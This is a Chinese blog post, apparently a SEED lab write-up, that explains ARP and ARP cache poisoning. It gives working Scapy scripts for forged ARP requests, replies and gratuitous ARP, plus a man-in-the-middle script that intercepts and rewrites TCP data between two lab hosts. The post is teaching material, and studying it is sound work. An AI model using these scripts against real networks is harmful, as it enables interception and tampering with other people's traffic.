ARP 缓存中毒攻击原理及实现


本文章主要对 ARP 缓存中毒攻击的原理进行分析,同时编程实现相应的攻击示例。


一、ARP 基础知识

1.1 ARP 简介

ARP 即地址解析协议(Address Resolution Protocol)的简称,该协议是 TCP/IP 协议簇里面的一个协议。ARP 的主要作用是根据 IP 地址来获取对应的 MAC 地址。

在开放式系统互联(Open System Interconnection,简称 OSI)模型当中,所有网络通信的工作被分为了 7 层:物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。当网络在进行通信时,OSI 模型当中的每一层都只是负责该层各自的工作,然后将处理完的数据传送给下一层。

目前网络通信中最常见的 IPv4 协议工作在 OSI 模型的第三层,即网络层。在发送数据时,来自传输层的数据段(Segment)到达网络层之后,网络层需要将该数据段重新封装为数据包(Packet),并且根据数据包内的 IPv4 地址,结合网络层自身的路由表,来为数据包选择最佳的传输路径。当网络层的数据包到达数据链路层之后,需要重新将数据包封装为数据帧(Frame),然后再交由物理层进行字节传输。

如下图所示为 OSI 模型图。

然而,这里出现了一个问题:物理层无法越过数据链路层去获取目的主机的IP地址,因此它不知道数据该发送给谁。因此,在数据链路层中,ARP 协议的作用就显得尤为重要。ARP 协议根据来自网络层的数据包中包含的 IPv4 地址,查询出对应目的主机的 MAC 地址,然后将该 MAC 地址封装在数据帧当中再传送给物理层传输。这样一来,物理层就知道数据该发往哪里了。

如下图所示为 ARP 报文格式。

如下图所示为 ARP 报文封装在以太网帧内形成的 ARP 帧格式。

1.2 ARP 映射方式

为了 ARP 协议更高效地查询到 IP 地址与 MAC 地址的对应关系,设备上会存在一个 ARP 缓存表,里面存储着若干条 IP 地址与 MAC 地址的映射记录。根据缓存表的某些特性,ARP 映射方式主要分为以下两种:
静态 ARP 缓存表
主要分为长静态 ARP 缓存表和短静态 ARP 缓存表两种。这种方式通常需要手动创建一张 ARP 缓存表存储于设备上。
优点:
ARP 缓存表内的映射记录不会被改变、安全性得以保障。
缺点:
需要手工创建缓存表,当设备数量较多时工作量大;
设备更换网络适配器之后,MAC 地址会改变;
设备可能会因不同的环境出现不同的MAC地址。

动态 ARP 缓存表
已知目的主机的 IP 地址,使用 ARP 协议生成相应的报文对目的主机的 MAC 地址进行查询,同时动态地对本地 ARP 缓存表进行维护更新。
优点:
无需手工创建缓存表,工作量大大减少;
当设备的 MAC 地址发生改变时,能够自动地对本地 ARP 缓存表进行更新;
ARP 缓存表内的映射记录可以被老化、覆盖、更新、删除、添加等。
缺点:
ARP 缓存表内的映射记录可能会被人为修改,存在安全隐患。

1.3 ARP 工作方式

动态缓存下 ARP 的主要工作方式
第1步:主机 A 根据本地路由表内容,确定访问主机 B 的 IP 地址,同时在本地 ARP 缓存表中检查主机 B 的对应 MAC 地址。
第2步:如果主机 A 在 ARP 缓存表中没有找到映射,它将 ARP 请求消息广播到本地网络上的所有主机。主机 A 的源 IP 地址和源 MAC 地址都包括在 ARP 请求中。本地网络上的每台主机都接收到 ARP 请求并且检查请求的 IP 地址是否与自己的 IP 地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃 ARP 请求。(ARP请求)
第3步:主机 B 确定 ARP 请求的 IP 地址与自己的 IP 地址匹配,将主机 A 的 IP 地址和 MAC 地址映射添加到本地 ARP 缓存中。
第4步:主机 B 将包含其 MAC 地址的 ARP 回复消息直接发送给主机 A。(ARP响应)
第5步:主机 A 收到从主机 B 发来的 ARP 回复消息,用主机 B 的 IP 和 MAC 地址映射更新本地 ARP 缓存表,二者可以开始正常通信。
值得注意的是,本地 ARP 缓存表内的映射记录是存在一定生存期的,当生存期结束后,主机将再次重复上面的过程。

免费 ARP 报文
免费 ARP 报文是一种很特殊的 ARP 报文,如下图所示为免费 ARP 报文格式。

由于该报文的特殊性,它可以用来完成以下各项工作:
第 1 种:检查网络中 IP 地址是否冲突。
主机 A 发送免费 ARP 报文,假设其它主机收到来自主机 A 的免费 ARP 报文后发现自己的 IP 地址和报文中的 IP 地址冲突,则会产生相应的 ARP 应答给主机 A,主机 A 得知本机的 IP 地址与其它主机的IP地址与冲突。
第 2 种:更新网络中主机的ARP缓存表。
当主机 A 改变了 MAC 地址,它通过发送免费 ARP 报文通知网络中的其它主机更新 ARP 缓存表中主机 A 对应的映射记录。

免费 ARP 报文学习
网络中的设备根据收到的免费 ARP 报文中携带的信息对自身的 ARP 缓存表进行更新修改。
收到免费 ARP 报文后,设备会先判断 ARP 缓存表中是否存在与此免费 ARP 报文源 IP 地址对应的 ARP 缓存表映射记录:
存在:根据免费 ARP 报文中携带的信息更新对应的 ARP 缓存表映射记录;
不存在:根据免费 ARP 报文中携带的信息新建 ARP 缓存表映射记录。
若关闭免费 ARP 报文学习功能,设备不会新建原先不存在的 ARP 缓存表映射记录,但会更新已存在的对应 ARP 缓存表映射记录。

定时发送免费 ARP 报文
通过定时发送免费 ARP 报文,设备能够通知网络中的其它设备及时更新本地 ARP 缓存表中的映射记录,在很大程度上确保了网络安全性安全性。与此同时,能够防止设备中的 ARP 缓存表映射记录老化、防止例如仿冒网关的 ARP 攻击等。


二、ARP缓存中毒攻击

2.1 攻击原理

ARP 缓存中毒攻击(ARP Cache Poisoning Attack)主要利用了 ARP 没有任何安全措施的弱点。ARP 缓存表内的映射记录依赖于计算机中的高速缓冲存储器动态更新,然而高速缓冲存储器的更新是受到更新周期的限制的,通常只保存最近使用的映射记录。
攻击者正是利用这一弱点,在高速缓冲存储器更新缓存表中的映射记录之前,通过欺骗受害者接受伪造的 IP 地址到 MAC 地址的映射,导致受害者的数据包可能会被重定向到具有伪造 MAC 地址的计算机之上,进而完成攻击行为。

2.2 攻击准备

Scapy 工具简介
Scapy 是一个 Python 库程序。其最主要的功能在于能够让用户侦听、解析、伪装和发送各种网络报文。基于这些功能,该程序能够轻松地做到网络扫描、网络发现、路由追踪、数据包嗅探和网络攻击等各项任务。
使用方式:在构造数据包之前首先导入 Scapy 模块:
from scapy.all import *
我们可以通过 Scapy 内的 ls 命令来查看构造一个 ARP 类时应当具有哪些属性,如图所示:

准备工作
实验环境为 3 台 SEED Ubuntu 16.04 LTS,分别扮演 Attacker、Alice、Bob 的角色,确保三台主机之间能够互相进行数据通信。
记录 3 台主机的 IP 地址和 MAC 地址信息:
Attacker:

Alice:

Bob:

记录 3 台主机的初始本地 ARP 缓存表信息:
Attacker:

Alice:

Bob:

2.3 中毒攻击

结合 ARP 协议的工作方式,我们主要通过三个数据包伪造脚本来实现三种方式的 ARP 缓存中毒攻击:ARP 请求数据包、ARP 请求数据包、免费 ARP 数据包。


中毒攻击一(ARP 请求数据包)

通过 Attacker 向 Bob 发送伪造 ARP 请求数据包,使 Bob 的本地 ARP 缓存表中添加一条记录:将 Alice 的 IP 地址映射到 Attacker 的 MAC 地址。
使用的攻击脚本:arp_request.py

#!/usr/bin/python3
from scapy.all import *

VM_B_IP   = "10.0.2.7"

VICTIM_IP = "10.0.2.6"
FAKE_MAC  = "08:00:27:c0:a7:cd"

print("ARP Cache Poisoning Attacking...method: request...")

E = Ether()
E.src = FAKE_MAC

A = ARP()
A.op = 1
A.hwsrc = FAKE_MAC
A.psrc  = VICTIM_IP
A.pdst  = VM_B_IP

frame = E/A
sendp(frame)

Attacker 发起攻击:

攻击效果:Bob 的 ARP 缓存表中出现了 Alice 的 IP 地址并且映射到了 Attacker 的 MAC 地址。同时也添加了 Attacker 的映射记录。


中毒攻击二(ARP 响应数据包)

通过 Attacker 向 Alice 发送伪造 ARP 响应数据包,使 Alice 的本地 ARP 缓存表中更新一条记录:将 Bob 的 IP 地址映射到 Attacker 的 MAC 地址。
使用的攻击脚本:arp_response.py

#!/usr/bin/python3
from scapy.all import *

VM_A_MAC  = "08:00:27:5b:33:ad"

VICTIM_IP = "10.0.2.7"
FAKE_MAC  = "08:00:27:c0:a7:cd"

print("ARP Cache Poisoning Attacking...method: response...")

E = Ether()
E.dst = VM_A_MAC
E.src = FAKE_MAC

A = ARP()
A.op = 2
A.hwsrc = FAKE_MAC
A.psrc  = VICTIM_IP
A.hwdst = VM_A_MAC

frame = E/A
sendp(frame)

值得注意的是,此时 Alice 的 ARP 缓存表仍处于初始状态,其中并不包含 Bob 的 IP 地址对应的映射记录,而且由于 ARP 响应报文只能更新不能添加记录,因此 ARP 响应数据包并不会在 Alice 的 ARP 缓存表中添加 Bob 对应的记录。
我们需要 Alice 先 Ping 通 Bob:

这样 Alice 的 ARP 缓存表中就包含 Bob 的 IP 地址对应的映射记录:

接着,Attacker 发起攻击:

攻击效果:Alice 的 ARP 缓存表中 Bob 的 IP 地址映射到了 Attacker 的 MAC 地址。


中毒攻击三(免费 ARP 数据包)

通过 Attacker 向网络中其它主机发送伪造免费 ARP 数据包,使 Alice 和 Bob 的本地 ARP 缓存表中更新一条记录:将 Attacker 的 IP 地址映射的 MAC 地址更新为:aa:bb:cc:dd:ee:ff。
使用的攻击脚本:arp_gratuitous.py

#!/usr/bin/python3
from scapy.all import *

VM_A_IP   = "10.0.2.5"
VM_A_MAC  = "ff:ff:ff:ff:ff:ff"

VICTIM_IP = "10.0.2.5"
FAKE_MAC  = "aa:bb:cc:dd:ee:ff"

print("ARP Cache Poisoning Attacking...method: gratuitous...")

E = Ether()
E.dst = VM_A_MAC
E.src = FAKE_MAC

A = ARP()
A.op = 1
A.hwsrc = FAKE_MAC
A.psrc  = VICTIM_IP
A.hwdst = VM_A_MAC
A.pdst  = VM_A_IP

frame = E/A
sendp(frame)

Attacker 发起攻击:

攻击效果:Bob 的 AR 缓存表中 Attacker 的 IP 地址映射的 MAC 地址变成了aa:bb:cc:dd:ee:ff:

但是 Alice 的 ARP 缓存表中不存在关于 Attacker 的 IP 地址的映射记录。

出现上述现象的原因是,此时 Alice 的 ARP 缓存表中并不包含 Attacker 的 IP 地址对应的映射记录,而且由于免费 ARP 报文只能更新不能添加记录,因此免费 ARP 数据包并不会在 Alice 的 ARP 缓存表中添加 Attacker 对应的记录。
为此,我们让 Alice 先 Ping 通 Attacker:

这样 Alice 的 ARP 缓存表中就包含 Attacker 的 IP 地址对应的映射记录了(同样的效果也可以直接通过 Attacker 向 Alice 发送伪造 ARP 请求数据包来实现,具体攻击中这一方式更为合理):

接着 Attacker 发起攻击:
攻击效果:Alice 和 Bob 的 ARP 缓存表中 Attacker 的 IP 地址映射的 MAC 地址都变成了aa:bb:cc:dd:ee:ff。

2.4 中间人攻击

通过 Attacker 向 Alice 和 Bob 发送伪造 ARP 请求数据包,将 Alice 和 Bob 本地 ARP 缓存表中两人互相对应的记录所映射的 MAC 地址都更改为 Attacker 的 MAC 地址,从而达到 Attacker 作为中间人拦截并修改、转发 Alice 和 Bob 之间通信数据的目的。

攻击原理如图所示:

首先,Attacker 向 Alice 和 Bob 发送伪造 ARP 请求数据包。
使用的攻击脚本:arp_poisoning.py

#!/usr/bin/python3
from scapy.all import *

VM_A_IP = "10.0.2.6"
VM_B_IP = "10.0.2.7"

VICTIM_A_IP = "10.0.2.7"
VICTIM_B_IP = "10.0.2.6"
FAKE_MAC  = "08:00:27:c0:a7:cd"

print("ARP Cache Poisoning Attacking...host: A...method: request...")

E = Ether()
E.src = FAKE_MAC

A = ARP()
A.op = 1
A.hwsrc = FAKE_MAC
A.psrc  = VICTIM_A_IP
A.pdst  = VM_A_IP

frame = E/A
sendp(frame)

print("ARP Cache Poisoning Attacking...host: B...method: request...")

E = Ether()
E.src = FAKE_MAC

A = ARP()
A.op = 1
A.hwsrc = FAKE_MAC
A.psrc  = VICTIM_B_IP
A.pdst  = VM_B_IP

frame = E/A
sendp(frame)

Attacker 发起攻击:

攻击效果:Alice 和 Bob 本地 ARP 缓存表中两人互相对应的记录所映射的 MAC 地址都更改为 Attacker 的 MAC 地址。

我们打开 Attacker 的端口转发功能:

然后让 Alice 和 Bob 进行 Netcat 通信,我们发现此时 Alice 和 Bob 可以经过 Attacker 正常通信:

接着,我们关闭 Attacker 的端口转发功能:

然后让 Alice 和 Bob 进行 Netcat 通信,我们发现此时 Alice 无法连接到 Bob,Bob 也无法接收到 Alice 发出的消息:

接下来,我们在 Attacker 上拦截、修改并重新发送 Alice 向 Bob 发送的数据,对于特定字符串 “luoyongjiang”,我们将其修改为 “AAAAAAAAAAAA”,对于其它字符串我们给予放行。同时对于 Bob 向 Alice 发送的数据,我们不作任何修改给予放行。
使用的攻击脚本:arp_poisoning_mitm.py

#!/usr/bin/python
from scapy.all import *

VM_A_IP = "10.0.2.6"
VM_B_IP = "10.0.2.7"

def spoof_pkt(pkt):
    if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
        print("ARP Cache Poisoning Man-in-the-MiddleAttacking...")

        data = pkt[TCP].payload.load
        print("Original Packet.........")
        print("Source IP: ", pkt[IP].src)
        print("Destination IP: ", pkt[IP].dst)
        print("Message: ", data)
        print("Message Length: %d" % (len(data)))

        newpkt = IP(pkt[IP])
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)
        newdata = data.replace(b'luoyongjiang', b'AAAAAAAAAAAA')
        newpkt = newpkt/newdata

        print("Spoofed Packet.........")
        print("Source IP : ", newpkt[IP].src)
        print("Destination IP :", newpkt[IP].dst)
        print("Message: ", newdata)
        print("Message Length: %d" % (len(newdata)))

        send(newpkt)

    elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
        print("The message is sent from host B to host A...")
        newpkt = pkt[IP]
        send(newpkt)

pkt = sniff(filter='tcp', prn=spoof_pkt)

攻击效果:“luoyongjiang” 成功修改为 “AAAAAAAAAAAA”,其它字符串不变。

同时,Attacker 端也显示了相应的拦截信息:

值得注意的是,由于 ARP 的周期性,缓存表内的映射记录会在一定时间之后被 ARP 自动更新。因此在攻击的过程当中,我们可能需要不定时地重复使用 Attacker 向 Alice 和 Bob 发起 ARP 缓存中毒攻击。

免责:本站发布的所有内容仅限于学习研究目的,严禁用于商业或非法用途,否则一切后果由使用者自负!

声明:城南以南花亦开|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - ARP 缓存中毒攻击原理及实现


生活原本沉闷,但跑起来就会有风。